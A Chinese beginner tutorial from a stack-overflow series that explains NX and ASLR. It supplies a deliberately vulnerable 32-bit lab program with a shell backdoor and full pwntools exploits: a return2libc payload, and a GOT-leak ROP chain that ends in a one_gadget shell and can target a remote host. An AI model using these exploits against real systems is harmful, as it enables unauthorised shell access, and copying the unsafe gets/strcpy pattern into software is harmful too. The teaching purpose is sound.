前言
栈溢出学习(五)之NX,ASLR绕过方法,讲述NX,ASLR保护机制及其绕过方法
- 系列文章
栈溢出学习(一)之利用预留后门 & return2shellcode
栈溢出学习(二)之 jmp esp & return2libc
栈溢出学习(三)之简单ROP
栈溢出学习(四)之Hijack GOT - 本文属于新手实验难度,过程比较详细,适合新手学习
样例代码
本文使用的代码如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector -no-pie -z execstack -m32 -g -o lab0 lab0.c
优化等级 关闭canary 关闭地址随机化 关闭NX 生成32位程序
*/
void shell()//backdoor
{
printf("You got it\n");
system("/bin/sh");
}
void hello(char* name)
{
char buf[20];
strcpy(buf,name);
puts("hello!!!");
printf("i am %s ",buf);
}
void main(int argc,char** argv)
{
setbuf(stdin,NULL);
setbuf(stdout,NULL);
char buf[100];
puts("*****************************************");
puts("PWN,hello world!");
gets(buf);
hello(buf);
}
0x07 NX绕过方法
一、NX保护机制
NX即"NO X",堆栈不可执行保护。开启NX后,程序的栈空间没有执行权限,通过这个保护,可以阻止return2shellcode
攻击,但是return2libc
,ROP
,Hijack GOT
等攻击方法依然有效,即:
- 阻止:
return2shellcode
- 绕过:除了
return2shellcode
均可
二、绕过
在这里我们使用简单一些的return2libc
来绕过
程序编译选项为
gcc -O0 -fno-stack-protector -no-pie -m32 -g -o nxlab lab0.c
可以看到已开启NX
exp如下,原理参考 栈溢出学习(二)之 jmp esp & return2libc 即可
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2020-03-27 22:32:52
# @Author : Pz_mstr
# @Version : python3
# @use : exp for nx protect
from pwn import *
import sys
def trans(s):
return "b'%s'" % ''.join('\\x%.2x' % x for x in s)
debug = True
binary = './nxlab'
libc_name = '/home/Pz_mstr/libc/libc2.23x86'
bin = ELF(binary)
libc = ELF(libc_name)
if len(sys.argv) > 1:
# ip port
io = remote(sys.argv[1],int(sys.argv[2]))
else:
#io = process([binary],env={'LD_PRELOAD':libc_name})
io = process(binary)
if debug:
context.log_level = 'debug'
io.recvuntil('world!')
padding = b'a'*32
system_addr = bin.sym["system"]
bin_sh_addr = next(libc_name.search('/bin/sh\x00'))
payload = padding
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(bin_sh_addr)
io.sendline(payload)
io.interactive()
成功截图如下
0x08 ASLR绕过方法
一、ASLR保护机制
ASLR,即地址随机化。启用该机制后,堆,栈、共享库映射
等线性区布局会被随机化,每次执行程序,这些区域的地址都与上次不同,增加了攻击者预测目的地址的难度。但是。他的问题在于,ASLR并不对所有模块和内存区进行随机化,比如GOT表的地址是不变的,那么我们可以分析出来他能够阻止的攻击方法和绕过方式
- 阻止:
return2shellcode
,return2libc
- 绕过:利用GOT表泄露函数真实加载地址,根据libc的偏移算出我们需要的目标函数所在的真实地址,最终利用真实的地址实现
return2libc
总的来说,绕过方法是hijack got
结合return2libc
完成。我们可以通过ropchain
来完成这一系列攻击
二、绕过
编译选项如下,同样的把NX保护也开启
gcc -O0 -fno-stack-protector -no-pie -m32 -g -o ASLRlab lab0.c
在管理员权限下,执行
echo 2 >/proc/sys/kernel/randomize_va_space
可以看到,ASLR和NX保护均已开启
绕过思路:
首先考虑绕过条件:
- 泄露出某个函数的真实地址,因此需要一个打印/输出函数
就这一个条件,显然我们需要的输出函数就是puts
,那么我们的栈空间可以这样布局
- 绿色部分完成对
printf
函数真实地址的泄露 - 黄色部分完成对
printf
函数真实地址的改写,改为system
地址 - 橙色部分调用
system("/bin/sh")
不过细心的读者会发现,其实上面的栈空间布局是错的,因为开启了ASLR,你没办法提前获取到/bin/sh
的地址,需要通过计算偏移求出,因此我们考虑使用one_gadget
一把梭。
one_gadget
的效果大概就是在libc中找到可以直接调用,能够产生system("/bin/sh")
效果的一个gadget,因此只要把对printf
函数真实地址的改写,改为one_gadget
地址即可。
因此最终的栈空间布局为:
exp简单介绍
- 找一个ropgadget
pop_ret = 0x80483b9
3. 找一个one_gadget,可以一个一个试,这次选用的是0x5fbc5
4. 找libc中__libc_start_main
的地址,为0x00018540
这里解释一下为什么找的是__libc_start_main
,见下图是got表的布局。当我们使用puts(printf@got)
打印printf@got
的地址时,puts
函数会一直输出直到遇到’\0x0a’,因此会把printf
到__libc_start_main
的地址打印出来。
而我们exp
(见下方)中接受泄露地址的代码是这样写的:
io.recvuntil('\n')
libc_addr = u32(io.recvuntil('\n')[-5:-1])
因此接收到的就是__libc_start_main@got
,所以需要找libc中__libc_start_main
的地址
最终exp如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2020-03-27 22:32:52
# @Author : Pz_mstr
# @Version : python3
# @use : exp for ASLR protect
from pwn import *
import sys
def trans(s):
return "b'%s'" % ''.join('\\x%.2x' % x for x in s)
debug = True
binary = './ASLRlab'
#libc_name = '/home/Pz_mstr/libc/libc2.23x86'
bin = ELF(binary)
#libc = ELF(libc_name)
if len(sys.argv) > 1:
# ip port
io = remote(sys.argv[1],int(sys.argv[2]))
else:
#io = process([binary],env={'LD_PRELOAD':libc_name})
io = process(binary)
if debug:
context.log_level = 'debug'
#gdb.attach(io)
#input()
io.recvuntil('world!\n')
padding = b'a'*32
puts_plt = bin.plt['puts']
gets_plt = bin.plt['gets']
printf_plt = bin.plt['printf']
printf_got = bin.got['printf']
pop_ret = 0x80483b9
one = 0x5f065
rop = padding
rop += p32(puts_plt) + p32(pop_ret) + p32(printf_got)
rop += p32(gets_plt) + p32(pop_ret) + p32(printf_got)
rop += p32(printf_plt)
io.sendline(rop)
io.recvuntil('\n')
libc_addr = u32(io.recvuntil('\n')[-5:-1])
print(libc_addr)
libc_base = libc_addr - 0x00018540
io.sendline(p32(libc_base+one))
io.interactive()
总结
展示了两种分别绕过NX和ASLR的方法
- return2libc绕过NX
- ROPchain结合Hijack GOT绕过ASLR